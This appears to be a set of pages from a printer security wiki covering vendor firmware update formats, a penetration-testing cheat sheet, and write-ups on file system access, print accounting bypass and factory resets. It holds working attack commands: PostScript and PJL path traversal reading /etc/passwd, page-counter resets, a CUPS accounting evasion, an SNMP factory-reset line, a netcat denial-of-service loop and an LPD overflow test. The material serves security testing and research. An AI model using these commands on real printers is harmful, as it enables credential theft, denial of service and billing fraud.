Firmware can be downloaded from [http://support.hp.com support.hp.com] or directly from [ftp://ftp.hp.com/pub/networking/software/pfirmware/ ftp.hp.com] via FTP. 419 files in HP's traditional remote firmware update (<code>.rfu</code>) format and 206 newer ‘HP FutureSmart’ binaries (<code>.bdl</code>) can be retrieved. The <code>.rfu</code> files contain proprietary PJL commands like <code>@PJL UPGRADE SIZE=…</code>, indicating that firmware updates are deployed as normal print jobs. This has been demonstrated by <ref name="cui2011print"/> and caused HP to digitally sign all their printer firmware since March 2012 <ref name="hp2012rfu"/>.

=== Canon ===

Firmware is available at [http://www.canon.com/support/ www.canon.com/support]. Canon however requires a valid device serial number to download any firmware. According to <ref name="jordon2014wrestling"/>, who were able to modify firmware for the Canon PIXMA series, ‘there is no signing (the correct way to do it) but it does have very weak encryption’. According to email correspondence with a Canon technical support representative, ‘firmware does have to be digitally signed by Canon in order for it to be accepted by the printer’.

=== Epson ===

Firmware can be downloaded from [http://epson.com epson.com] and via FTP from [ftp://download.epson-europe.com/ download.epson-europe.com]. Files come as WinZip self-extracting <code>.exe</code> files and can be unpacked using ''unp''<ref>''[http://unp.bencastricum.nl/ UNP executable file restore utility]'', A. Karwath</ref>. The contained <code>.efu</code> files can be analyzed using ''Binwalk''<ref>''[http://binwalk.org/ Binwalk firmware analysis tool]'', C. Heffner</ref> which extracts the actual firmware. One can obtain 49 <code>.rcx</code> files of unknown format (‘SEIKO EPSON EpsonNet Form’) and nine <code>.prn</code> files containing PJL commands (<code>@PJL ENTER LANGUAGE=DOWNLOAD</code>). Epson has not published any information on protection mechanisms. Firmware released before 2016 did not apply code signing and could be manipulated as shown by <ref>''[https://os-s.de/advisories/OSS-2016-19_epson-mfp.pdf] Epson WorkForce Lack Of Firmware Signing / CSRF'', R. Spenneberg</ref>. They ‘believe huge amounts of the devices produced since 1999 […] could be vulnerable’.

=== Dell ===

Firmware can be obtained from [http://downloads.dell.com downloads.dell.com] and from [ftp://ftp.us.dell.com/printer ftp.us.dell.com/printer]. Files can be unpacked using ''unp'' and the included <code>.zip</code> files can be extracted with a variant of ''unzip''. Dell does not produce any printing devices, but rebadges the products of other vendors. Therefore a wide variety of firmware files, including 18 <code>.hd</code> files containing <code>@PJL FIRMWARE=…</code>, 25 <code>.prn</code> files containing <code>@PJL ENTER LANGUAGE=DOWNLOAD</code> and 30 <code>.fls</code>/<code>.fly</code> files containing <code>@PJL LPROGRAMRIP</code> were found. Regarding protection mechanisms, Dell has not released any publicly available information.

=== Brother ===

Firmware cannot be easily downloaded. Instead a Windows binary needs to be run which checks for available printers and requests download links for the latest firmware from a web service. By guessing correct parameters one is able to get the links for 98 files. Firmware files do not need to be unpacked as they already come in raw format. 79 files have the extension <code>.djf</code> and contain <code>@PJL EXECUTE BRDOWNLOAD</code>, while 9 <code>.blf</code> files contain <code>@PJL ENTER LANGUAGE=PCL</code>. Brother has not released any publicly available information on protection mechanisms.

=== Lexmark ===

Firmware is available from [http://support.lexmark.com support.lexmark.com] and can be unpacked using ''unp''. 63 <code>fls</code> files could be obtained containing the PJL header <code>@PJL LPROGRAMRIP</code> to install the firmware. Lexmark's security whitepaper claims ‘packages must be encrypted with a symmetric encryption algorithm through a key that is known only to Lexmark and is embedded securely in all devices. However, the strongest security measure comes from requiring that all firmware packages must include multiple digital 2048-bit RSA signatures from Lexmark. If these signatures are not valid [...] the firmware is discarded’ <ref>''[http://media.lexmark.com/www/doc/en_US/Security_White_Paper_Final_Q12014.pdf Security Features of Lexmark Multi-Function and Single Function Printers]'', Lexmark International, 2013, p. 6</ref>.

=== Samsung ===

Firmware can be downloaded from [http://www.samsung.com/us/support/download www.samsung.com/us/support/download]. Retrieved files either come as zip archives or Windows executables which can be run in wine and further unpacked using ''unp''. This way, 33 <code>.hd</code> files starting with <code>@PJL FIRMWARE</code> and associated <code>.prn</code> files containing <code>@PJL DEFAULT SWUPGRADE=ON</code> could be obtained. Samsung has not released any publicly available information on protection mechanisms.

=== Xerox ===

Firmware is publicly available at [http://www.support.xerox.com www.support.xerox.com]. Downloaded files come in zip format and can be unpacked using ''unzip''. Firmware files are in different formats: 16 <code>.hd</code> files including <code>@PJL FIRMWARE=…</code>, 36 PostScript files for older devices and 35 <code>.dlm</code> files which is the format used by currently used by Xerox and includes digital signatures. A flaw in the deployment process however was found by <ref name="heiland2011patched"/> and extended by <ref name="weidenbach2016pwn"/>, leading to remote code execution – the private key and the tool used for code signing was contained in the firmware itself.

=== Ricoh ===

The ‘Firmware Download Center’ at [https://support.ricoh.com support.ricoh.com] is not open to the general public. Fortunately the interweb contains direct links to a couple of driver/firmware download pages so one is able to obtain 31 firmware files using a simple Google search (<code>site:support.ricoh.com firmware</code>). Files can be unpacked using ''unp''. 14 <code>.bin</code> files contain <code>@PJL RSYSTEMUPDATE SIZE=…</code> while 15 <code>.brn</code> files are associated with a <code>settings.ini</code>, including <code>@PJL FWDOWNLOAD</code> and <code>USERID=sysadm, PASSWORD=sysadm</code>. Ricoh does not provide any up-to-date information on protection mechanisms. In a whitepaper dating back to 2007, Ricoh claims that ‘only service technicians have a password and dedicated account for making firmware updates’ <ref>''[http://www.tsrc.ricoh-usa.com/pwhp/Network_Security_v1.7.pdf Network Security White Paper for Digital Multifunction and Printing Devices]'', Ricoh Corp., 2007, p. 10</ref>.

=== Kyocera ===

Kyocera does not release firmware to end-users. In a publicly available Kyocera dealer forum however, firmware downloads for various models are linked: [ftp://ftp.kdaconnect.com ftp.kdaconnect.com]. Files can be unpacked using ''unp'' and contain mountable ''cramfs''<ref>''[http://sourceforge.net/projects/cramfs/ cramfs – A Linux filesystem designed to be simple, small, and to compress things well]'', D. Quinlan</ref> and ''squashfs''<ref>''[http://squashfs.sourceforge.net/ squashfs – A compressed read-only filesystem for Linux]'', P. Lougher and R. Lougher</ref> images as well as proprietary binary formats. Firmware is deployed as a print job with <code>!R! UPGR'SYS';EXIT;</code> prepended – the ''upgrade'' command of the ''PRESCRIBE'' page description language <ref>''[http://kyoceradocumentsolutions.co.th/news/products/img_document/fs19k_rev11.pdf Kyocera Laser Printer FS-1900 Service Manual]'', Kyocera Corp., 2001, ch. 3-19</ref>. Kyocera has not released any publicly available information on protection mechanisms.

=== Konica ===

Although not actively promoted, firmware for Konica Minolta printers can be downloaded from [http://download6.konicaminolta.eu download6.konicaminolta.eu]. Newer Internet-connected devices have the capability to perform firmware updates themselves. Compressed files come in different formats and can be unpacked using ''unp'', ''unzip'' and ''tar'' which results in 38 proprietary <code>.bin</code> files, 20 PostScript based ‘softload printer modules’ for older devices and 14 files of different extensions containing PJL commands like <code>@PJL ENTER LANGUAGE=FIRMUPDATE</code>. The Konica Minolta security whitepaper claims that firmware is verified using a ‘hash value’ <ref>''[http://www.biz.konicaminolta.com/product_security_policy/pdf/security_white_paper_version8_0_7.pdf Konica Minolta Security White Paper]'', Konica Minolta, Inc., 2015, p. 26</ref>. It may be doubted that such a scheme is cryptographically secure.

== Results ==

Out of ten analyzed manufacturers, nine use [[PJL]] commands for all or at least some of their firmware update procedures which is a strong indicator that updates are deployed as ordinary print jobs. The remaining manufacturer – Kyocera – applies the ''PRESCRIBE'' page description language. One can therefore claim that it is common in the printing industry to install new firmware over the printing channel itself and name a '''major design flaw''' present in almost any printer device: '''data and code over the same channel'''. Exploitation of this issue however is hard as for most manufacturers no reasoned statement on protection mechanisms can be made. An in-depth analysis of firmware modification attacks should therefore be part of future research. A summary of file headers or types for all obtained firmware files is given below:

{| class="wikitable"
|-
! Vendor !! Extension !! Quantity !! File header or type
|-
| rowspan="2" | HP
| rfu || 419 || @PJL UPGRADE SIZE=…
|-
| bdl || 206 || FutureSmart binary format
|-
| rowspan="3" | Epson
| rcx || 49 || SEIKO EPSON EpsonNet Form
|-
| prn || 9 || <span style="background:#98FB98">@PJL ENTER LANGUAGE=DOWNLOAD</span>
|-
| brn || 7 || <span style="background:#F0E68C">Unknown binary, includes config file</span>
|-
| rowspan="6" | Dell
| fls, fly || 30 || <span style="background:#87CEEB">@PJL LPROGRAMRIP</span>
|-
| prn || 25 || <span style="background:#98FB98">@PJL ENTER LANGUAGE=DOWNLOAD</span>
|-
| hd || 18 || <span style="background:#F4A460">@PJL FIRMWARE=…</span>
|-
| brn || 3 || <span style="background:#F0E68C">Unknown binary, includes config file</span>
|-
| ps || 2 || PostScript (title: ''Firmware Update'')
|-
| pjl || 1 || @PJL ENTER LANGUAGE=FLASH
|-
| rowspan="2" | Brother
| djf || 79 || @PJL EXECUTE BRDOWNLOAD
|-
| blf || 9 || @PJL ENTER LANGUAGE=PCL
|-
| rowspan="2" | Lexmark
| fls || 63 || <span style="background:#87CEEB">@PJL LPROGRAMRIP</span>
|-
| bin, fls || 6 || Unknown binary format
|-
| rowspan="2" | Samsung
| hd || 33 || <span style="background:#F4A460">@PJL FIRMWARE=…</span>
|-
| fls, hd0 || 4 || <span style="background:#DDA0DD">@PJL DEFAULT P1284VALUE=…</span>
|-
| rowspan="10" | Xerox
| ps || 36 || PostScript (title: ''Firmware Update'')
|-
| dlm || 35 || Xerox Dynamic Loadable Module
|-
| prn, bin || 20 || <span style="background:#98FB98">@PJL ENTER LANGUAGE=DOWNLOAD</span>
|-
| hd || 16 || <span style="background:#F4A460">@PJL FIRMWARE=…</span>
|-
| brn || 10 || <span style="background:#F0E68C">Unknown binary, includes config file</span>
|-
| bin || 10 || @PJL SET JOBATTR="@SWDL"
|-
| fls, hd, hde || 8 || <span style="background:#DDA0DD">@PJL DEFAULT P1284VALUE=…</span>
|-
| fls, xfc || 4 || @PJL ENTER LANGUAGE=XFLASH
|-
| pjl || 3 || @PJL FSDOWNLOAD [name].rpm
|-
| axf || 3 || RISC OS AIF executable
|-
| rowspan="3" | Ricoh
| brn || 15 || @PJL FWDOWNLOAD…
|-
| bin || 14 || @PJL RSYSTEMUPDATE SIZE=…
|-
| fls || 4 || <span style="background:#87CEEB">@PJL LPROGRAMRIP</span>
|-
| rowspan="4" | Kyocera
| cramfs, img || 98 || cramfs image
|-
| bin, squashfs || 79 || squashfs image
|-
| bin, kmmfp || 41 || u-boot legacy uImage
|-
| efi, kmpanel || 13 || proprietary image format
|-
| rowspan="4" | Konica Minolta
| bin || 38 || unknown binary, additional checksum file
|-
| ps || 20 || PostScript (title: ''Softload printer modules'')
|-
| ftp, prn || 11 || @PJL ENTER LANGUAGE=FIRMUPDATE
|-
| upg || 1 || @PJL ENTER LANGUAGE=UPGRADE
|-
|}

'''How to test for this attack?'''

The security of code signing is based on keeping the private key a long-term trade secret. There are however still printers in the wild which are potentially vulnerable to malicious firmware – either because they have not yet been updated or because proprietary checksum algorithms are sold as cryptographically secure digital signature schemes. It certainly must be pointed out that analyzing firmware can be hard if vendors do not document their firmware formats and update routines. Usually this requires some reverse engineering. Testing the feasibility of firmware modification attacks therefore is not trivial. In a simple test, one can '''flip a single bit''' and check if the modified firmware is still accepted by the printer device. If not, either a checksum or a digital signature is verfied by the printer. Finding the difference is not always easy and writing malicious firmware (with a correct checksum) can be a time-consuming project.

''Other attack scenarios include:''

* Even if the firmware is signed, one may be able to downgrade to a certain (signed) firmware version which has known security weaknesses.
* Even if the firmware is signed, it can sometimes be mounted to gain further information (especially Konica Minolta firmware is easly mountable).
* Just because firmware is signed doesn't mean its secure. Using ''binwalk''/''grep'' etc. one may find components with known vulnerabilities like [https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2015-7547 CVE-2015-7547].

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

----

Printer Security Testing Cheat Sheet

2017-07-02T17:48:50Z

Admin:

To systematically check for vulnerabilities in a printing device, first perform a generic network [http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html assessment] and check for printer-specifc web based information leaks using [[Praeda]]. Then, use the following cheat sheet to quickly find flaws in [[Fundamentals#Printer Control Languages|printer languages]] and [[Fundamentals#Network printing protocols|network protocols]].

{| class="wikitable"
|-
! Category !! Attack !! Protocol !! Testing
|-
| rowspan="5" | [[Denial of service]]
| [[Transmission channel]] || TCP || <code>while true; do nc printer 9100; done</code>
|-
| rowspan="2" | [[Document processing]]
| [[PostScript|PS]]
|| [[PRET]] commands: <code>disable</code>, <code>hang</code>
|-
| [[PJL]]
|| [[PRET]] commands: <code>disable</code>, <code>offline</code>
|-
| rowspan="2" | [[Physical damage]]
| [[PostScript|PS]]
|| [[PRET]] command: <code>destroy</code>
|-
| [[PJL]]
|| [[PRET]] command: <code>destroy</code>
|-
| rowspan="8" | [[Privilege escalation]]
| rowspan="3" | [[Factory defaults]]
| [[SNMP]]
|| <code>snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6</code>
|-
| [[PML]]
|| [[PRET]] command: <code>reset</code>
|-
| [[PostScript|PS]]
|| [[PRET]] command: <code>reset</code>
|-
| rowspan="4" | [[Accounting bypass]]
| TCP
|| Connect to printer directly, bypassing the print server
|-
| [[IPP]]
|| Check if you can set a username without authentication
|-
| [[PostScript|PS]]
|| Check if PostScript code is preprocessed on print server
|-
| [[PJL]]
|| [[PRET]] command: <code>pagecount</code>
|-
| [[Fax and Scanner]] || multiple || Install printer driver and (ab)use fax/scan functionality
|-
| rowspan="2" | [[Print job access]]
| [[Print job retention]] || [[PostScript|PS]] || [[PRET]] command: <code>capture</code>
|-
| [[Print job manipulation]] || [[PostScript|PS]] || [[PRET]] commands: <code>cross</code>, <code>overlay</code>, <code>replace</code>
|-
| rowspan="5" | [[Information disclosure]]
| [[Memory access]] || [[PJL]] || [[PRET]] command: <code>nvram dump</code>
|-
| rowspan="2" | [[File system access]]
| [[PostScript|PS]]
|| [[PRET]] commands: <code>fuzz</code>, <code>ls</code>, <code>get</code>, <code>put</code>, …
|-
| [[PJL]]
|| [[PRET]] commands: <code>fuzz</code>, <code>ls</code>, <code>get</code>, <code>put</code>, …
|-
| rowspan="2" | [[Credential disclosure]]
| [[PostScript|PS]]
|| [[PRET]] commands: <code>lock</code>, <code>unlock</code>
|-
| [[PJL]]
|| [[PRET]] commands: <code>lock</code>, <code>unlock</code>
|-
| rowspan="4" | [[Code execution]]
| rowspan="2" | [[Buffer overflows]]
| [[PJL]]
|| [[PRET]] command: <code>flood</code>
|-
| [[LPD]]
|| <code>./lpdtest.py printer in "`python -c 'print "x"*3000'`"</code>
|-
| [[Firmware updates]] || [[PJL]] || Flip a bit, check if the modified firmware is still accepted
|-
| [[Software packages]] || multiple || Obtain an SDK and write your own proof-of-concept application
|-
|}

File system access

2017-07-02T17:44:34Z

Admin:

If an attacker has read access to the file system, she can potentially retrieve sensitive information like configuration files or stored print jobs. Manipulation of files through write access might even lead to remote code execution – for example by editing ''rc'' scripts or replacing binary files to be executed. Therefore printers should never allow direct access to the file system. However, legitimate language constructs are defined for PostScript <ref>''[https://www-cdf.fnal.gov/offline/PostScript/PLRM2.pdf PostScript Language Reference Manual, 2nd Edition]'', Adobe Systems Inc., 1992, p. 71-80</ref> and PJL <ref>''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997, ch. 9</ref> to do exactly this. Such features exist for historic reasons when bandwidth was a major bottleneck. Frequently used fonts and graphics are once downloaded to the device and can be re-used in further print jobs. While such functionality enhances printing performance, it poses a severe security risk to networked devices.

== PostScript ==

The potential danger of PostScript file I/O primitives has been pointed out by <ref>''[https://www.cs.plu.edu/courses/CompSec/arts/mal.pdf Malicious Data and Computer Security]'', W. Sibert, Proceedings of the 19th National Information Systems Security Conference, 1996</ref>. An effort to systematically exploit PostScript functions to access the file system of printer devices has been made be <ref name="mueller2016printers">''Exploiting Network Printers'', J. Müller, 2016, p. 48-50</ref>. Example code to access the file system with PostScript on a ''HP LaserJet 4200N'' is given below:

<syntaxhighlight lang=postscript>
> /str 256 string def (%*%../*) % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)

> byte (0) def % read from file
> infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
> (%stdout) (w) file byte writestring}
> {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh

> /outfile (test.txt) (w+) file def}} % write to file
> outfile (Hello World!) writestring
> outfile closefile
</syntaxhighlight>

Accessing files with PostScript is supported by a large variety of printers, but usually sandboxed to a certain directory. This limits the possibilities of an attacker to mostly harmless actions like font modification. There are however exceptions:

* Various '''HP LaserJet printers''' are prone to path traversal which allows access to the whole file system. This issue which affects almost forty HP devices has been discussed in [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5221 CVE-2012-5221] and is fixed in current firmware versions. The protection mechanism however is flawed as shown in <ref name="mueller2016printers"/>: By using <code>%*%</code> as disk prefix and replacing <code>../</code> with <code>.././</code> one is able to access the whole file system even for the latest firmware versions. The impact is significant: Passwords for the embedded web server can be found in <code>/dev/rdsk_jdi_cfg0</code> while the RAM is available for reading and writing at <code>/dev/dsk_ram0</code>.

* Various '''OKI laser printers''' allows one level of path traversal, where a directory called ‘hidden’ is located which contains stored fax numbers, email contacts and local users' PINs as well as the SNMP community string and password. More interesting however is the fact that this MFP can be integrated into a network using features like Email-to-Print or Scan-to-FTP. Therefore we can find the passwords for LDAP, POP3, SMTP, outbound HTTP proxy, FTP, SMB and Webdav as well as the IPsec and Wi-Fi pre-shared keys. This is a good example how an attacker can escalate her way into a company's network, using the printer device as a starting point.

'''How to test for this attack?'''

File system access has been implemented in [[PRET]] in ''ps'' mode using the <code>ls</code>, <code>get</code>, <code>put</code>, <code>append</code>, <code>delete</code>, <code>rename</code>, <code>find</code>, <code>mirror</code>, <code>touch</code>, <code>mkdir</code>, <code>cd</code>, <code>pwd</code>, <code>chvol</code>, <code>traversal</code>, <code>format</code>, <code>fuzz</code> and <code>df</code> commands:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d - Jan 1 1970 (created Jan 1 1970) bootdev
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
d - Jan 1 1970 (created Jan 1 1970) etc
d - Jan 1 1970 (created Jan 1 1970) tmp
d - Jan 1 1970 (created Jan 1 1970) webServer

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

== PJL ==

For PJL, the issue of accessing arbitrary files on a printer with PJL has first been demonstrated by <ref>''Attacking Networked Embedded Devices'', Black Hat USA, FX and FtR of Phenoelit, 2002</ref> who wrote the [[PFT|PFT and Hijetter]] programs to perform file operations on HP LaserJets using legitimate PJL commands. A virtual, distributed file system based on PJL has been proposed and implemented by <ref>''[http://www.remote-exploit.org/articles/printfs/ Printers Gone Wild]'', B. Smith, ShmooCon, 2011</ref>. Example code to access the file system access with PJL on a ''HP LaserJet 4200N'' is given below:

> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR

> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh

> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
> Hello World!

Accessing files with PJL is not supported by many printers. Examples are given below:

* Various '''HP LaserJet''' printers are prone to path traversal which allows access to the whole file system (see [http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-4107 CVE-2010-4107]). The countermeasure proposed by HP is to enable disk lock <ref>''[http://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c02004333 Security Bulletin HPSBPI02575 SSRT090255 Rev. 1]'', HP Inc., 2010</ref> which can easily be broken either by resetting the device to [[factory defaults]] or by performing [[Credential disclosure#Brute-Force_Attacks|brute-force attacks]].

* Various '''HP OfficeJet Pro''' and '''PageWide Pro''' models allow attackers to read arbitrary files from the Linux based file system. Furthermore, a path traversal vulnerability exists which enables attackers to place a shellscript in <code>0:/../../rw/var/etc/profile.d/</code>, reboot the device (for example, using [[Factory_defaults#SNMP|SNMP]]) and therefore execute arbitrary commands <ref>''[https://www.tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution Rooting a Printer: From Security Bulletin to Remote Code Execution]'', Jacob Baines, 2017</ref>.

* For various '''Konica Minolta bizhub''' MFPs the contents of the root directory – which is a typical Linux file system – can be listed. One interesting file which can be read and written is <code>/../sysdata/acc/job.csv</code>, which contains logged print job metadata, including document titles and usernames.

'''How to test for this attack?'''

File system access has been implemented in [[PRET]] in ''pjl'' mode using the <code>ls</code>, <code>get</code>, <code>put</code>, <code>append</code>, <code>delete</code>, <code>find</code>, <code>mirror</code>, <code>touch</code>, <code>mkdir</code>, <code>cd</code>, <code>pwd</code>, <code>chvol</code>, <code>traversal</code>, <code>format</code>, <code>fuzz</code> and <code>df</code> commands:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d - bootdev
d - dsk_jdi
d - dsk_jdi_ss
d - dsk_ram0
d - etc
d - lrt
d - tmp
d - webServer
d - xps

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

----

Accounting bypass

2017-06-25T11:31:30Z

Admin:

Printing without permission can itself be a security risk or breach of company policy. In environments where print jobs are charged for an inside attacker has a motivation to bypass the accounting system. Typical examples range from copy shops to schools and universities where print quotas are to be enforced. Also, many companies keep track of the printer usage by each employee or by department. Besides free copies, breaking accounting and authentication systems can be used to discredit an employee for example by printing pornographic images under his name. Furthermore, being able to ‘print’ is a precondition for most attacks against network printers – therefore any restrictions need to be bypassed first.

== Introduction to print job accounting ==

There are two major approaches when it comes to print job accounting: Either let the printer handle it directly or use a print server in between. The first approach is vendor-specific, usually involves some kind of special ‘printer driver’ and is not further discussed here. The other approach involves a separate print server – usually a software implementation like [https://en.wikipedia.org/wiki/CUPS CUPS] or [https://en.wikipedia.org/wiki/LPRng LPRng] – to handle the accounting and is quite common in companies and institutions. The print server may speak LPD, IPP or further printing protocols and forwards jobs to the actual printer. '''It is important to note that direct network access to the printer must be restricted''', otherwise an attacker can easily bypass the print server and its accounting mechanisms. This not only means filtering access to the ports typically assigned to printing protocols, but also to less known printing channels like [https://en.wikipedia.org/wiki/File_Transfer_Protocol FTP] or the embedded web server which can often be abused to print as described in [[Fundamentals#Network_printing_protocols|network printing protocols]].

There are basically two approaches to circumvent or trick print job accounting systems: either impersonate another user or manipulate the counter of printed pages. In the following both options are discussed for LPRng (v3.8.B) and CUPS (v2.1.4) installations which are popular open-source printing systems used in academic and corporate environments. A comparison of the security features of both systems is given below.

{| class="wikitable" style="text-align:center"
|+ Security features of LPRng and CUPS
|-
! Printing system !! Protocol !! Encryption !! Authentication !! Page counter
|-
| LPRng || [[LPD]] || SSL/TLS || Kerberos, PGP || hardware
|-
| CUPS || [[IPP]] || SSL/TLS || Kerberos, HTTP || software
|}

== Authentication bypasses ==

LPRng and CUPS both offer SSL based channel encryption and secure authentication schemes like [https://en.wikipedia.org/wiki/Kerberos_(protocol) Kerberos], [https://en.wikipedia.org/wiki/Pretty_Good_Privacy PGP] signed print jobs or HTTP [https://en.wikipedia.org/wiki/Basic_access_authentication basic]/[https://en.wikipedia.org/wiki/Digest_access_authentication digest] authentication. If configured properly and in case the attacker cannot access the printer directly she will be not be able to impersonate other users. Those security features however are optional and rarely applied in the real-world print servers. Instead, the usernames given as LPD (LPRng) or IPP (CUPS) parameters are logged and accounted for – which can be set to arbitrary values by the client side. The reasons for this is a simple cost-benefit consideration in most institutions: Kerberos needs a special setup on every client and HTTP authentication requires users to enter a password whenever they want to print something while the costs of a few unaccounted printouts are bearable.

'''How to test for this attack?'''

If your system is already configured to use the print server to be tested, you can verify proper authentication trying to print with a custom username like this:

<syntaxhighlight lang=sh>
lp -U nobody test.ps
</syntaxhighlight>

'''Who can perform this attack?'''

Anyone who can access the print server (as said, if the printer can be accessed directly you have already lost anyway).

== Page counter manipulation ==

=== Hardware page counters ===

For correct accounting the number of printed pages must be determined by the printing system which is not a trivial task as discussed in <ref>''[http://blog.cyrtech.de/sites/default/files/Counting%20Pages%20in%20Printer%20Data%20Streams%20%28D2%29.pdf Counting Pages in Printer Data Streams]'', J. Deußen, 2011</ref>. The authors of LPRng ‘make the assumption that the printer has some sort of non-volatile page counter mechanism that is reliable and impervious to power on/off cycles’ <ref>''[http://web.mit.edu/ops/services/print/Attic/src/doc/LPRng-HOWTO-15.html Printer Accounting Reality Check]'', LPRng-HOWTO, P. Powell, 1995</ref>. Such hardware page counters are supported by most printers and '''read''' by LPRng using PJL after every print job. HP has even documented a feature to '''write''' to the page counter variable <ref>''[https://h30434.www3.hp.com/psg/attachments/psg/PostPrint/141685/1/PJL%20commands-Druckerz%C3%A4hler%20setzen%20HP2015dn.pdf HP LaserJet Family Quick Reference Service Guide]'', HP Inc., 1999, p. 53</ref> by setting the printer into service mode. This way, the page counter of the ''HP LaserJet 1200'', ''HP LaserJet 4200N'' and the ''HP LaserJet 4250N'' can be manipulated within a print job. At the end of the document to be printed and separated by the [[UEL]], the counter simply has to be reset to its original value (for example, <code>2342</code>):

\x1b%-12345X@PJL JOB
This page was printed for free
\x1b%-12345X@PJL EOJ
\x1b%-12345X@PJL JOB
@PJL SET SERVICEMODE=HPBOISEID
@PJL SET PAGES=2342
\x1b%-12345X@PJL EOJ

Based on the logic of the accounting software an attacker might even increase the balance of her account – which may be linked with other services like the canteen – by setting a negative number of printed pages. Note that resetting the device to [[Factory defaults]] also resets the page counter to zero on some of the tested devices, however this method is not suited if a certain value is desired. Lowering the page counter can also be used to sell a printer above its price as it can be compared to the odometer when buying a second-hand car. It is however worth emphasizing that resetting the page counter is not necessarily for malicious purposes: It is a well-known business model to sell overpriced ink for low-cost inkjet devices and block third-party refill kits by refusing to print after a certain number of pages – to handle such unethical practices it is absolutely legitimate to reset the page counter.

'''How to test for this attack?'''

On older HP laserjets the ''pagecount'' command of [[PRET]] can be used to easily set hardware pagecounters:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> pagecount 10
Old pagecounter: 53214
New pagecounter: 10

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

=== Software page counters ===

CUPS uses software page counters which have been implemented for all major page description languages. For PostScript, an easy way to bypass accounting is to check if the ''PageCount'' system parameter exists – which will return ''false'' when interpreted in CUPS/Ghostscript – before actually printing the document as shown below.

<syntaxhighlight lang=postscript>
currentsystemparams (PageCount) known {
<@\textit{[...] code which is only executed on a printer device [...]}@>
} if
</syntaxhighlight>

This way, the accounting software used by CUPS renders a different document than the printer. CUPS only accounts for one page – which seems to be a hardcoded minimum – while the real print job can contain hundreds of pages. Note that using the IPP ‘raw’ queue/option is mandatory, otherwise CUPS parses the code with a PostScript-to-PostScript filter (Ghostscript's ps2write) before it reaches the page counter.

'''How to test for this attack?'''

Wrap an arbitrary multi-page PostScript document in the code above and print. Then go to <code>http://printserver:631/jobs?which_jobs=all</code> and check CUPS's page counter for this print job. Note that have to establish a raw raw queue. This is, a queue where the filtering system is not involved and the print job goes directly to a printer. For CUPS, this is done done by setting the content type to <code>application/vnd.cups-raw</code>. If your system is already configured to use the print server to be tested, simply use:

<code>lp -o raw test.ps</code>.

'''Who can perform this attack?'''

Anyone who forward jobs to the (CUPS based) print server. However it deserves to be mentioned that only a local attacker has an actual benefit of free hard copies.



----

Factory defaults

2017-06-25T11:29:36Z

Admin: /* PostScript */

Resetting a device to factory defaults is a security-critical functionality as it overwrites protection mechanisms like user-set passwords. This can usually be done by pressing a special key combination on the printer's control panel. Performing such a cold reset only takes seconds and therefore is a realistic scenario for local attackers or penetration testers, who can for example sneak into the copy room at lunchtime. However, physical access to the device is not always an option. The question comes up, if printer vendors have implemented the possibility to perform factory resets on-line using printer control or page description languages. They have, as discussed in this article.

== SNMP ==

The Printer-MIB <ref>''[https://www.ietf.org/rfc/rfc3805.txt RFC3805: Printer MIB v2]'', R. Bergman, I. McDonald and H. Lewis, 2004</ref> defines the ''prtGeneralReset'' Object (OID 1.3.6.1.2.1.43.5.1.1.3.1) which allows an attacker to restart the device (''powerCycleReset(4)''), reset the NVRAM settings (''resetToNVRAM(5)'') or restore factory defaults (''resetToFactoryDefaults(6)'') using [[SNMP]]. This feature/attack is supported by a large variety of printers and removes all protection mechanisms like user-set passwords for the embedded web server. While protection mechanisms can be efficiently bypassed, a practical drawback of this approach is that all static IP address configuration will be lost. If no [https://de.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol DHCP] service is available, the attacker will not be able to reconnect to the device anymore after resetting it to factory defaults.

'''How to test for this attack?'''

Resetting the device to factory default can be accomplished using ''snmpset'' command as shown below:

<syntaxhighlight lang=sh>
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
</syntaxhighlight>

'''Who can perform this attack?'''

Anyone who can send network packets to port 161/udp of the printer device.

== PML/PJL ==

In many scenarios an attacker does not have the capabilities to perform SNMP requests because of firewalls or unknown SNMP community strings. On HP devices however, SNMP can be transformed into its [[PML]] representation and embed the request within a legitimate print job. This allows an attacker to restart and/or reset the device to factory defaults within ordinary print jobs as shown below:

@PJL DMCMD ASCIIHEX="040006020501010301040106"

